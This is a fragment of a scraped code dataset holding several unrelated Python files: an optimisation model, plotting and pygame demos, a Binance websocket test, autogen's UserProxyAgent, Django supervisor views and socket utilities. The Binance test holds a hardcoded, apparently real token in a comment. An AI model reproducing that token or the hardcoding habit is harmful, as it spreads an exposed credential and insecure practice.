pulp.LpVariable.dicts(\"lager\",(produkt,t),lowBound=0,cat=\"Continuous\")\nYt = pulp.LpVariable.dicts(\"maskine_start\",(produkt,t),lowBound=0, upBound=1,cat=pulp.LpBinary)\n\n#Objekt funktion\nprob += pulp.lpSum([epo[i]*b[i]*Xt[i][j] + elo[i]*It[i][j] + f[i]*Yt[i][j] for i in produkt for j in t])\n\n#Bibetingelser\nfor i in produkt:\n It[i][-1] = mL[i]\n\nXt[0][-1] = 4\n\nfor i in produkt:\n for j in t:\n prob += (b[i]*Xt[i][j-l[i]] + It[i][j - 1] - It[i][j]) >= ed[i][j] + sum(b[l]*r[l][i]*Xt[l][j] for l in produkt) # lager balance\n\nfor i in produkt:\n for j in t:\n prob += Yt[i][j]*bigM >= Xt[i][j] #at Yt slår ud som en når der produceres\n prob += It[i][j] >= mL[i] # Mindste lager\n prob += Xt[i][j] >= Yt[i][j] * mP[i] # Mindste produktion\n\n\n\n\nprob.solve(pulp.PULP_CBC_CMD(maxSeconds=20))\nprint(\"solution status = \",pulp.LpStatus[prob.status])\n\n\nfor v in prob.variables():\n if v.varValue>=0:\n print(v.name, \"=\", v.varValue)\n\n\nprint('Optimal cost is:', pulp.value(prob.objective))\n# Number of periods - used to control placement on the x-axis\nnumPeriods = len(t)\n# Position of bars on x-axis\npos = np.arange(numPeriods)\n\n#Plottet\nplt.figure(1)\n # For hvert produkt, plot produktionsplanen\nfor k in produkt:\n plt.subplot(len(produkt), 1, k+1)\n # Extract the optimal variable values\n lager_values = [It[k][j].varValue for j in t]\n produktion_values = [b[k]*Xt[k][j].varValue for j in t]\n demands = [ed[k][j] + sum(b[l]*r[l][k]*Xt[l][j].varValue for l in produkt) for j in t]\n print(f\"Demands of product {k} =\",demands)\n # Width of a bar\n width = 0.4\n # Add the three plots to the fig-figure\n plt.bar(pos, demands, width, label='Efterspørgsel '+ produkt_navn[k], color='blue')\n plt.bar(pos + width, lager_values, width, label='Inventory level', color='grey')\n plt.plot(pos, produktion_values, color='darkred', label='Production level')\n # Set the ticks on the x-axis\n plt.xticks(pos + width / 2, t) #Gør noget her\n # Labels on axis\n plt.xlabel('Periods to plan')\n plt.ylabel('Demand')\n plt.legend()\n plt.ylim(0, max(max(produktion_values),max(lager_values))+max(max(produktion_values),max(lager_values))/10)\n # Create a vertical scroll bar\n '''\n vscrollbar = ttk.Scrollbar(root, orient=tk.VERTICAL, command=canvas.get_tk_widget().yview)\n vscrollbar.pack(side=tk.RIGHT, fill=tk.Y)\n'''\n\n# Labels for akserne\nplt.xlabel('Periods to plan')\nplt.ylabel('Demand')\n\nplt.show()","repo_name":"FrejaPetrine/Bachelor","sub_path":"jsi.py","file_name":"jsi.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26112232526","text":"w = 1920\nh = 1080\n\nimport csv\n\nimport png\n\npatchlist = []\npixels = []\n\nwith open(\"/home/matt/Downloads/PriSec_2020_P32020_2.csv\") as csv_file:\n reader = csv.reader(csv_file)\n for row_num, row in enumerate(reader):\n d = row[1:]\n\n\n def chunk():\n for i in range(0, len(d), 3):\n yield d[i:i + 3]\n\n\n patchlist.append(list(chunk()))\n\ncols = len(patchlist[0])\nrows = len(patchlist)\n\npanel_width = int(w / cols)\nwidth_padding = w - (panel_width * cols)\n\npanel_height = int(h / rows)\nheight_padding = h - (panel_height * rows)\n\nfor row_num, row in enumerate(patchlist):\n row_data = ()\n for col_num, column in enumerate(row):\n d = (tuple([int(c) for c in column]) * (panel_width + (width_padding if col_num == 0 else 0)))\n row_data += d\n for i in range(panel_height + (height_padding if row_num == 0 else 0)):\n pixels.append(row_data)\n\nwith open('chart.png', 'wb') as f:\n w = png.Writer(w, h, greyscale=False)\n w.write(f, pixels)\n","repo_name":"3ll3d00d/jrmc-utils","sub_path":"patch/pattern.py","file_name":"pattern.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"25544594177","text":"import asyncio\nfrom binance import AsyncClient, BinanceSocketManager\nimport config\nasync def binance_ws_client():\n client = await AsyncClient.create(config.get_secret('apiKey'),config.get_secret('secret'))\n bm = BinanceSocketManager(client)\n us = bm.user_socket()\n async with us as tmp:\n while True:\n res = await us.recv()\n print(res)\nasyncio.run(binance_ws_client())\n\n# token = \"GTu1KdBDcKuuWJfT3CrC3BRWgJLMn5YECiblvewRtyw3fgX2NpZovSrDHtiy\"\n# uri = \"wss://stream.binance.com:9443/ws/\"+token\n# async def wsexample():\n# async with websockets.connect(uri) as ws:\n# data = await ws.recv()\n# print(data)\n# async def main():\n# await wsexample()\n# asyncio.run(main())","repo_name":"inha18minseokkim/Arbitrage","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2371963141","text":"import pygame as pg\nimport math\nimport random\n\n\nFPS = 60\nresolution = width, height = (1200, 700)\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\n\nscreen = pg.display.set_mode(resolution)\nclock = pg.time.Clock()\n\nrunning = True\n\nballCount = 20\n\nballs = [0]*ballCount\n\nfor i in range(ballCount):\n balls[i] = [0]*3\n balls[i][0] = (random.randint(0, width-80), random.randint(0, height-80))\n balls[i][1] = [random.randint(5, 12), random.randint(5, 12)]\n balls[i][2] = random.randint(40, 80)\n\n\ndef BallsUpdate():\n global balls\n for i in range(len(balls)):\n ballCoord = balls[i][0]\n ballSpeed = balls[i][1]\n ballSize = balls[i][2]\n if ballCoord[0] + ballSize >= resolution[0] or ballCoord[0] <= 0:\n ballSpeed[0]*=-1\n if ballCoord[1] + ballSize >= resolution[1] or ballCoord[1] <= 0:\n ballSpeed[1]*=-1\n \n balls[i][0] = (ballCoord[0] + ballSpeed[0], ballCoord[1] + ballSpeed[1])\n balls[i][1] = ballSpeed\n\ndef BallsRender():\n global screen, balls\n for i in range(len(balls)):\n screen.blit(ballSurfs[i], balls[i][0])\n\ndef BallsCollision():\n global balls\n centres = [0]*len(balls)\n speeds = [0]*len(balls)\n for i in range(len(balls)):\n centres[i] = (balls[i][0][0] + balls[i][2]/2, balls[i][0][1] + balls[i][2]/2)\n speeds[i] = (balls[i][1][0]**2 + balls[i][1][1]**2)**(1/2)\n\n for i in range(len(balls)):\n for j in range(i+1, len(balls)):\n y = centres[i][1] - centres[j][1]\n x = centres[i][0] - centres[j][0]\n r = (x**2 + y**2)**(1/2)\n if r <= (balls[i][2] + balls[j][2])/2:\n balls[i][1][0] = speeds[i]*x/r\n balls[i][1][1] = speeds[i]*y/r\n balls[j][1][0] = -speeds[j]*x/r\n balls[j][1][1] = -speeds[j]*y/r\n\n\n\nballSurfs = [0]*len(balls)\nfor i in range(len(balls)):\n ballSurfs[i] = pg.Surface((balls[i][2], balls[i][2]))\n pg.draw.circle(ballSurfs[i], WHITE, (balls[i][2]/2, balls[i][2]/2), balls[i][2]/2)\n\n\nwhile running:\n screen.fill(BLACK)\n\n BallsUpdate()\n BallsRender()\n BallsCollision()\n\n for event in pg.event.get():\n if event.type == pg.QUIT:\n running = False\n\n pg.display.update()\n clock.tick(FPS)\n pg.display.set_caption(f'FPS: {clock.get_fps() :.2f}')\n\npg.quit()\n\n","repo_name":"kayl71/Graphic","sub_path":"Balls.py","file_name":"Balls.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33896447000","text":"###############################################################################\r\n\r\n# Required Libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n###############################################################################\r\n\r\n# Function: Rank \r\ndef ranking(flow): \r\n rank_xy = np.zeros((flow.shape[0], 2))\r\n for i in range(0, rank_xy.shape[0]):\r\n rank_xy[i, 0] = 0\r\n rank_xy[i, 1] = flow.shape[0]-i \r\n for i in range(0, rank_xy.shape[0]):\r\n plt.text(rank_xy[i, 0], rank_xy[i, 1], 'a' + str(int(flow[i,0])), size = 12, ha = 'center', va = 'center', bbox = dict(boxstyle = 'round', ec = (0.0, 0.0, 0.0), fc = (0.8, 1.0, 0.8),))\r\n for i in range(0, rank_xy.shape[0]-1):\r\n plt.arrow(rank_xy[i, 0], rank_xy[i, 1], rank_xy[i+1, 0] - rank_xy[i, 0], rank_xy[i+1, 1] - rank_xy[i, 1], head_width = 0.01, head_length = 0.2, overhang = 0.0, color = 'black', linewidth = 0.9, length_includes_head = True)\r\n axes = plt.gca()\r\n axes.set_xlim([-1, +1])\r\n ymin = np.amin(rank_xy[:,1])\r\n ymax = np.amax(rank_xy[:,1])\r\n if (ymin < ymax):\r\n axes.set_ylim([ymin, ymax])\r\n else:\r\n axes.set_ylim([ymin-1, ymax+1])\r\n plt.axis('off')\r\n plt.show() \r\n return\r\n\r\n# Function: TOPSIS\r\ndef topsis_method(dataset, weights, criterion_type, graph = True, verbose = True):\r\n X = np.copy(dataset)\r\n w = np.copy(weights)\r\n sum_cols = np.sum(X*X, axis = 0)\r\n sum_cols = sum_cols**(1/2)\r\n r_ij = X/sum_cols\r\n v_ij = r_ij*w\r\n p_ideal_A = np.zeros(X.shape[1])\r\n n_ideal_A = np.zeros(X.shape[1])\r\n for i in range(0, dataset.shape[1]):\r\n if (criterion_type[i] == 'max'):\r\n p_ideal_A[i] = np.max(v_ij[:, i])\r\n n_ideal_A[i] = np.min(v_ij[:, i])\r\n else:\r\n p_ideal_A[i] = np.min(v_ij[:, i])\r\n n_ideal_A[i] = np.max(v_ij[:, i]) \r\n p_s_ij = (v_ij - p_ideal_A)**2\r\n p_s_ij = np.sum(p_s_ij, axis = 1)**(1/2)\r\n n_s_ij = (v_ij - n_ideal_A)**2\r\n n_s_ij = np.sum(n_s_ij, axis = 1)**(1/2)\r\n c_i = n_s_ij / ( p_s_ij + n_s_ij )\r\n if (verbose == True):\r\n for i in range(0, c_i.shape[0]):\r\n print('a' + str(i+1) + ': ' + str(round(c_i[i], 2)))\r\n if ( graph == True):\r\n flow = np.copy(c_i)\r\n flow = np.reshape(flow, (c_i.shape[0], 1))\r\n flow = np.insert(flow, 0, list(range(1, c_i.shape[0]+1)), axis = 1)\r\n flow = flow[np.argsort(flow[:, 1])]\r\n flow = flow[::-1]\r\n ranking(flow)\r\n return c_i\r\n\r\n###############################################################################\r\n","repo_name":"Valdecy/pyDecision","sub_path":"pyDecision/algorithm/topsis.py","file_name":"topsis.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":174,"dataset":"github-code","pt":"69"} +{"seq_id":"5949065966","text":"from typing import Callable, Dict, List, Literal, Optional, Union\n\nfrom .conversable_agent import ConversableAgent\n\n\nclass UserProxyAgent(ConversableAgent):\n \"\"\"(In preview) A proxy agent for the user, that can execute code and provide feedback to the other agents.\n\n UserProxyAgent is a subclass of ConversableAgent configured with `human_input_mode` to ALWAYS\n and `llm_config` to False. By default, the agent will prompt for human input every time a message is received.\n Code execution is enabled by default. LLM-based auto reply is disabled by default.\n To modify auto reply, register a method with [`register_reply`](conversable_agent#register_reply).\n To modify the way to get human input, override `get_human_input` method.\n To modify the way to execute code blocks, single code block, or function call, override `execute_code_blocks`,\n `run_code`, and `execute_function` methods respectively.\n To customize the initial message when a conversation starts, override `generate_init_message` method.\n \"\"\"\n\n # Default UserProxyAgent.description values, based on human_input_mode\n DEFAULT_USER_PROXY_AGENT_DESCRIPTIONS = {\n \"ALWAYS\": \"An attentive HUMAN user who can answer questions about the task, and can perform tasks such as running Python code or inputting command line commands at a Linux terminal and reporting back the execution results.\",\n \"TERMINATE\": \"A user that can run Python code or input command line commands at a Linux terminal and report back the execution results.\",\n \"NEVER\": \"A user that can run Python code or input command line commands at a Linux terminal and report back the execution results.\",\n }\n\n def __init__(\n self,\n name: str,\n is_termination_msg: Optional[Callable[[Dict], bool]] = None,\n max_consecutive_auto_reply: Optional[int] = None,\n human_input_mode: Optional[str] = \"ALWAYS\",\n function_map: Optional[Dict[str, Callable]] = None,\n code_execution_config: Optional[Union[Dict, Literal[False]]] = None,\n default_auto_reply: Optional[Union[str, Dict, None]] = \"\",\n llm_config: Optional[Union[Dict, Literal[False]]] = False,\n system_message: Optional[Union[str, List]] = \"\",\n description: Optional[str] = None,\n ):\n \"\"\"\n Args:\n name (str): name of the agent.\n is_termination_msg (function): a function that takes a message in the form of a dictionary\n and returns a boolean value indicating if this received message is a termination message.\n The dict can contain the following keys: \"content\", \"role\", \"name\", \"function_call\".\n max_consecutive_auto_reply (int): the maximum number of consecutive auto replies.\n default to None (no limit provided, class attribute MAX_CONSECUTIVE_AUTO_REPLY will be used as the limit in this case).\n The limit only plays a role when human_input_mode is not \"ALWAYS\".\n human_input_mode (str): whether to ask for human inputs every time a message is received.\n Possible values are \"ALWAYS\", \"TERMINATE\", \"NEVER\".\n (1) When \"ALWAYS\", the agent prompts for human input every time a message is received.\n Under this mode, the conversation stops when the human input is \"exit\",\n or when is_termination_msg is True and there is no human input.\n (2) When \"TERMINATE\", the agent only prompts for human input only when a termination message is received or\n the number of auto reply reaches the max_consecutive_auto_reply.\n (3) When \"NEVER\", the agent will never prompt for human input. Under this mode, the conversation stops\n when the number of auto reply reaches the max_consecutive_auto_reply or when is_termination_msg is True.\n function_map (dict[str, callable]): Mapping function names (passed to openai) to callable functions.\n code_execution_config (dict or False): config for the code execution.\n To disable code execution, set to False. Otherwise, set to a dictionary with the following keys:\n - work_dir (Optional, str): The working directory for the code execution.\n If None, a default working directory will be used.\n The default working directory is the \"extensions\" directory under\n \"path_to_autogen\".\n - use_docker (Optional, list, str or bool): The docker image to use for code execution.\n If a list or a str of image name(s) is provided, the code will be executed in a docker container\n with the first image successfully pulled.\n If None, False or empty, the code will be executed in the current environment.\n Default is True, which will be converted into a list.\n If the code is executed in the current environment,\n the code must be trusted.\n - timeout (Optional, int): The maximum execution time in seconds.\n - last_n_messages (Experimental, Optional, int): The number of messages to look back for code execution. Default to 1.\n default_auto_reply (str or dict or None): the default auto reply message when no code execution or llm based reply is generated.\n llm_config (dict or False): llm inference configuration.\n Please refer to [OpenAIWrapper.create](/docs/reference/oai/client#create)\n for available options.\n Default to false, which disables llm-based auto reply.\n system_message (str or List): system message for ChatCompletion inference.\n Only used when llm_config is not False. Use it to reprogram the agent.\n description (str): a short description of the agent. This description is used by other agents\n (e.g. the GroupChatManager) to decide when to call upon this agent. (Default: system_message)\n \"\"\"\n super().__init__(\n name=name,\n system_message=system_message,\n is_termination_msg=is_termination_msg,\n max_consecutive_auto_reply=max_consecutive_auto_reply,\n human_input_mode=human_input_mode,\n function_map=function_map,\n code_execution_config=code_execution_config,\n llm_config=llm_config,\n default_auto_reply=default_auto_reply,\n description=description\n if description is not None\n else self.DEFAULT_USER_PROXY_AGENT_DESCRIPTIONS[human_input_mode],\n )\n","repo_name":"microsoft/autogen","sub_path":"autogen/agentchat/user_proxy_agent.py","file_name":"user_proxy_agent.py","file_ext":"py","file_size_in_byte":6692,"program_lang":"python","lang":"en","doc_type":"code","stars":16735,"dataset":"github-code","pt":"69"} +{"seq_id":"30638079520","text":"# 3. Using the findSuccesor method, write a non-recursive inorder traversal for a binary search tree.\r\nfrom pythonds.basic import Stack\r\nfrom pythonds.trees import BinaryTree\r\n\r\n# Inorder traversal using a Stack\r\n\r\ndef inorderTrav(tree):\r\n posStack = Stack()\r\n current = tree\r\n\r\n while current != None or posStack.size()>0:\r\n # Left-most node\r\n while (current != None):\r\n posStack.push(current)\r\n current = current.getLeftChild()\r\n current = posStack.pop()\r\n print(current.getRootVal())\r\n\r\n current = current.getRightChild()\r\n\r\n\r\n\r\ntree = BinaryTree(\"A\")\r\ntree.insertLeft(\"B\")\r\ntree.getLeftChild().insertLeft(\"C\")\r\ntree.getLeftChild().insertRight(\"D\")\r\ntree.insertRight(\"E\")\r\ninorderTrav(tree)\r\n\r\n","repo_name":"ignasiesbr/ProblemSolvingWithAlgorithmsAndDataStructures","sub_path":"Chapter6/Chapter6_3.py","file_name":"Chapter6_3.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"30538797119","text":"# -*- coding: utf-8 -*-\n#\n# Handle inconsistencies in the statsmodels API versions\n\nfrom collections.abc import Iterable\nfrom packaging.version import Version\nimport statsmodels as sm\n\n__all__ = [\n 'bind_df_model'\n]\n\n_sm_version = sm.__version__\n\n\ndef bind_df_model(model_fit, arima_results):\n \"\"\"Set model degrees of freedom.\n\n Older versions of statsmodels don't handle this issue. Sets the\n model degrees of freedom in place if not already present.\n\n Parameters\n ----------\n model_fit : ARMA, ARIMA or SARIMAX\n The fitted model.\n\n arima_results : ModelResultsWrapper\n The results wrapper.\n \"\"\"\n if not hasattr(arima_results, 'df_model'):\n df_model = model_fit.k_exog + model_fit.k_trend + \\\n model_fit.k_ar + model_fit.k_ma + \\\n model_fit.k_seasonal_ar + model_fit.k_seasonal_ma\n setattr(arima_results, 'df_model', df_model)\n\n\ndef check_seasonal_order(order):\n \"\"\"Check the seasonal order\n\n Statsmodels 0.11.0 introduced a check for seasonal order == 1 that can\n raise a ValueError, but some of our old defaults allow for m == 1 in an\n otherwise null seasonal order.\n\n Parameters\n ----------\n order : tuple\n The existing seasonal order\n \"\"\"\n\n # If order[0] is an iterable, but not a string then we don't perform check.\n # Otherwise we perform the check and override order if it satisfies check.\n # See issue#370: https://github.com/alkaline-ml/pmdarima/issues/370\n if isinstance(order[0], Iterable) and not isinstance(order[0], str):\n return order\n else:\n if sum(order[:3]) == 0 and order[-1] == 1:\n order = (0, 0, 0, 0)\n\n # user's order may be invalid, but we'll let statsmodels' validation\n # handle that.\n return order\n\n\ndef _use_sm13():\n return Version(sm.__version__) >= Version(\"0.13.0\")\n","repo_name":"alkaline-ml/pmdarima","sub_path":"pmdarima/compat/statsmodels.py","file_name":"statsmodels.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":1456,"dataset":"github-code","pt":"69"} +{"seq_id":"39566614538","text":"# coding=utf8\r\n\r\nimport logging\r\nimport threading\r\nfrom django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nfrom django.http import HttpResponse\r\nfrom django.http import StreamingHttpResponse\r\nfrom django.views import View\r\nfrom django.utils.decorators import method_decorator\r\n\r\nfrom app.server.models import Server\r\nfrom app.server.models import ServerType\r\nfrom app.supervisor.process import Process\r\nfrom app.supervisor.models import ProcessInfoCache\r\nfrom app.utils.common_func import auth_login_required\r\nfrom app.utils.common_func import log_record\r\nfrom app.utils.get_application_list import get_process_lists\r\nfrom app.utils.paginator import paginator_for_list_view\r\n\r\n# 获取supervisor服务器及程序列表,根据选项和关键字过滤\r\n@method_decorator(auth_login_required, name='dispatch')\r\nclass ProcessListView(View):\r\n\tdef get(self, request):\r\n\t\tcurrent_user_id = request.session.get('user_id')\r\n\t\tfilter_keyword = request.GET.get('filter_keyword')\r\n\t\tfilter_select = request.GET.get('filter_select')\r\n\t\ttry:\r\n\t\t\tserver_type_id = ServerType.objects.get(server_type='supervisor').server_type_id\r\n\t\t\tservers = Server.objects.filter(server_type_id=server_type_id).order_by('host')\r\n\t\texcept Exception as e:\r\n\t\t\tlogging.error(e)\r\n\t\t\tservers = []\r\n\t\tprocess_list = []\r\n\t\ttry:\r\n\t\t\tprocesses = get_process_lists(servers)\r\n\t\t\tfor process in processes:\r\n\t\t\t\tprocess_info = ProcessInfoCache(\r\n\t\t\t\t\thost=process.host,\r\n\t\t\t\t\thost_port=process.host_port,\r\n\t\t\t\t\tstatename=process.statename,\r\n\t\t\t\t\tname=process.name,\r\n\t\t\t\t\tdescription=process.description,\r\n\t\t\t\t\tcurrent_user_id=current_user_id\r\n\t\t\t\t\t)\r\n\t\t\t\tprocess_list.append(process_info)\r\n\t\t\tProcessInfoCache.objects.filter(current_user_id=current_user_id).delete()\r\n\t\t\tProcessInfoCache.objects.bulk_create(process_list)\r\n\t\texcept Exception as e:\r\n\t\t\tlogging.error(e)\t\t\r\n\t\tif filter_keyword != None:\r\n\t\t\tif filter_select == 'Status =':\r\n\t\t\t\tprocess_lists = ProcessInfoCache.objects.filter(\r\n\t\t\t\t\tcurrent_user_id=current_user_id,\r\n\t\t\t\t\tstatename=filter_keyword\r\n\t\t\t\t\t)\r\n\t\t\tif filter_select == 'Name':\r\n\t\t\t\tprocess_lists = ProcessInfoCache.objects.filter(\r\n\t\t\t\t\tcurrent_user_id=current_user_id,\r\n\t\t\t\t\tname__icontains=filter_keyword\r\n\t\t\t\t\t)\r\n\t\t\tif filter_select == 'Host':\r\n\t\t\t\tprocess_lists = ProcessInfoCache.objects.filter(\r\n\t\t\t\t\tcurrent_user_id=current_user_id,\r\n\t\t\t\t\thost__icontains=filter_keyword\r\n\t\t\t\t\t)\r\n\t\t\tpage_prefix = '?filter_select=' + filter_select + '&filter_keyword=' + filter_keyword + '&page='\r\n\t\telse:\r\n\t\t\tprocess_lists = ProcessInfoCache.objects.filter(current_user_id=current_user_id)\r\n\t\t\tpage_prefix = '?page='\r\n\t\tpage_num = request.GET.get('page')\r\n\t\tprocess_list = paginator_for_list_view(process_lists, page_num)\r\n\t\tcurent_page_size = len(process_list)\r\n\t\tif filter_keyword == None:\r\n\t\t\tfilter_select = ''\r\n\t\t\tfilter_keyword = ''\r\n\t\tcontext = {\r\n\t\t\t'process_list': process_list,\r\n\t\t\t'curent_page_size': curent_page_size,\r\n\t\t\t'filter_keyword': filter_keyword,\r\n\t\t\t'filter_select': filter_select,\r\n\t\t\t'page_prefix': page_prefix\r\n\t\t\t}\r\n\t\treturn render(request, 'process_list.html', context)\r\n\r\n\tdef post(self, request):\r\n\t\tfilter_keyword = request.POST.get('filter_keyword')\r\n\t\tfilter_select = request.POST.get('filter_select')\r\n\t\tprg_url = '/supervisor/process_list?filter_select=' + filter_select +'&filter_keyword=' + filter_keyword\r\n\t\treturn redirect(prg_url)\r\n\r\n# supervisor程序操作启动,停止,重启\r\n@method_decorator(auth_login_required, name='dispatch')\r\nclass ProcessOptionView(View):\r\n\tdef get(self, request):\r\n\t\thost = request.GET.get('host')\r\n\t\thost_port = int(request.GET.get('host_port'))\r\n\t\tprocess_name = request.GET.get('process_name')\r\n\t\tprocess_opt = request.GET.get('process_opt')\r\n\t\tserver_type_id = ServerType.objects.get(server_type='supervisor').server_type_id\r\n\t\tserver = Server.objects.get(server_type_id=server_type_id, host=host, port=host_port)\r\n\t\tprocess = Process()\r\n\t\tprocess.host = server.host\r\n\t\tprocess.host_port = server.port\r\n\t\tprocess.host_username = server.username\r\n\t\tprocess.host_password = server.password\r\n\t\tprocess.name = process_name\t\t\r\n\t\tresult = process.process_opt(process_opt)\r\n\t\tlog_detail = process_opt + ' <' + process_name + '> on host ' + host\r\n\t\tlog_record(request.session.get('username'), log_detail=log_detail)\r\n\t\treturn HttpResponse(result)\r\n\r\n# 获取supervisor程序的日志页面\r\n@method_decorator(auth_login_required, name='dispatch')\r\nclass ProcessLog(View):\r\n\tdef get(self, request):\r\n\t\thost = request.GET.get('host')\r\n\t\thost_port = int(request.GET.get('host_port'))\r\n\t\tprocess_name = request.GET.get('process_name')\r\n\t\tcontext = {'name': process_name, 'host': host}\r\n\t\treturn render(request, 'tail_log.html', context)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\t\t","repo_name":"raydoom/mmanager","sub_path":"app/supervisor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4718,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"25989294145","text":"import sys\nimport BaseHTTPServer\nimport CGIHTTPServer\nclass WebServer(object):\n def __init__(self, host='', port=8080, cgi_dir='/cgi-bin'):\n self._host = host\n self._port = port\n self._cgi_dir = cgi_dir\n\n self._cgi_handler = CGIHTTPServer.CGIHTTPRequestHandler\n\n self._cgi_handler.cgi_directories.append(self._cgi_dir)\n self._server_addr = ((self._host, self._port))\n self._httpd = BaseHTTPServer.HTTPServer(self._server_addr, self._cgi_handler)\n \n def run(self):\n try:\n self._httpd.serve_forever()\n except KeyboardInterrupt:\n self._httpd.server_close()\n sys.exit(0)\n\n\nif __name__ == '__main__':\n WebServer().run()\n\n# END WebServer\n","repo_name":"glenntnorton/Butters","sub_path":"HTML/htdocs/WebServer.py","file_name":"WebServer.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"73235648541","text":"import torch\nCONFIG= {\n 'learning_rate': 0.001,\n 'embedding_dim': 300,\n 'hidden_dim': 200,\n 'batch_size': 50,\n 'num_clusters': 10,\n 'epoch': 3,\n 'random_seed': 100,\n 'task_memory_size': 50,\n 'loss_margin': 0.5,\n 'sequence_times': 5,\n 'lambda': 100,\n 'num_cands': 10,\n 'num_steps': 1,\n 'num_constrain': 10,\n 'data_per_constrain': 5,\n 'lr_alignment_model': 0.0001,\n 'epoch_alignment_model': 20,\n 'model_path': 'model.pt',\n 'device': torch.device('cuda:0' if torch.cuda.is_available() else 'cpu'),\n 'bert_feature_file': './data/bert_feature/bert_feature.txt',\n 'relation_file': './data/relation_name.txt',\n 'training_file': './data/training_data.txt',\n 'test_file': './data/val_data.txt',\n 'valid_file': './data/val_data.txt',\n #'training_file': './data/train.replace_ne.withpool',\n #'test_file': './data/test.replace_ne.withpool',\n #'valid_file': './data/valid.replace_ne.withpool',\n 'glove_file': './data/glove.6B.300d.txt',\n 'is_SimQue': False,\n 'is_FewRel': True\n}\n","repo_name":"hongwang600/Lifelong_Relation_Detection","sub_path":"config_FewRel.py","file_name":"config_FewRel.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"69"} +{"seq_id":"2051395721","text":"import socket\nimport struct\nimport time\n\ndef init_gossip(port, updated_at, message_to_gossip):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # local hostname\n local_hostname = socket.gethostname()\n updated_at = time.time()\n # full host name\n local_fqdn = socket.getfqdn()\n\n # get the according IP address\n ip_address = socket.gethostbyname(local_hostname)\n\n # bind the socket to the port 12345, and connect\n server_address = (ip_address, port)\n sock.connect(server_address)\n\n print(\"connecting to %s (%s) with %s\" % (local_hostname, local_fqdn, ip_address))\n # ask for the last updated time\n\n # convert int to Byte before sending to server\n query_time_updated = 'q'.encode('utf-8')\n\n # send message as bytes\n sock.sendall(query_time_updated)\n\n # listen for data from the server\n time_from_server = sock.recv(64)\n # receive the result from the server and convert it to int from byte\n server_updated_at = struct.unpack('f', time_from_server)\n\n # if this device has the latest update, then push that update\n # we use server_updated_at[0] in order to access the tupple as float\n if server_updated_at[0] < updated_at or server_updated_at == updated_at:\n # display result to terminal\n print(\" we have the latest update \\n\")\n\n\n # convert int to Byte before sending to server\n message_as_bytes = message_to_gossip.encode('utf-8')\n\n # send message as bytes\n sock.sendall(message_as_bytes)\n\n # listen for data from the server\n data_from_server = sock.recv(64)\n # receive the result from the server and convert it to int from byte\n result_from_server = data_from_server.decode('utf-8')\n\n # display result to terminal\n print(\" The gossiped message was : %s\" % result_from_server)\n\n else:\n # server has a more recent update\n print(\"the server contains a more recent update, : %s \", server_updated_at)\n print(\"client updated at , : %s \", updated_at)\n\n","repo_name":"kyamasam/GossipBasedCommunication","sub_path":"gossip_functions.py","file_name":"gossip_functions.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"11674109518","text":"import os\nimport argparse\nimport sys\nimport pickle\nimport cv2\nimport pandas as pd\nfrom tqdm import tqdm\n\nfrom common.image_processing import Cluster, get_galaxy_pixels, estimate_background_intensity_threshold, num_background_pixels\n\nmain_data_dir = os.path.join('..', 'data')\n\nscored_images_dir = os.path.join('..', 'data', 'scored')\nscores_path = os.path.join('..', 'data', 'scored.csv')\nscored_images_pkl_out = os.path.join(main_data_dir, 'scored_info.pkl')\nscored_images_df_out = os.path.join(main_data_dir, 'scored_info.csv')\n\nlabeled_images_dir = os.path.join('..', 'data', 'labeled')\nlabels_path = os.path.join('..', 'data', 'labeled.csv')\nlabeled_images_pkl_out = os.path.join(main_data_dir, 'labeled_info.pkl')\nlabeled_images_df_out = os.path.join(main_data_dir, 'labeled_info.csv')\n\n\ndef generate_scored_images_info_file(min_score, background_threshold=None):\n \"\"\"\n Generates a cluster information file for the scored images.\n @param min_score: only consider images above given score threshold\n @type min_score: float, or None (no threshold if None)\n @param background_threshold: pixels above this intensity threshold are consider a part of a cluster\n @type background_threshold: int (0-255), or None (threshold automatically calculated)\n @return: No return, saves the scored image cluster information both as a .pkl and a .csv\n \"\"\"\n scored_image_ids = [x.replace('.png', '') for x in os.listdir(scored_images_dir)]\n scores_df = pd.read_csv(scores_path, index_col='Id')\n scores_df.index = scores_df.index.astype(str)\n\n if min_score is not None:\n scored_image_ids = scores_df[scores_df.Actual >= min_score].index.values\n\n image_data = {}\n for ind, image_id in enumerate(tqdm(scored_image_ids)):\n image_path = os.path.join(scored_images_dir, \"{}.png\".format(image_id))\n img = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\n\n data = extract_image_information(img, background_threshold=background_threshold)\n data['score'] = scores_df.at[image_id, 'Actual']\n image_data[image_id] = data\n\n if not os.path.exists(main_data_dir):\n os.makedirs(main_data_dir)\n\n # save as a pickled python dict file\n with open(scored_images_pkl_out, 'wb') as f:\n pickle.dump(image_data, f)\n\n df = 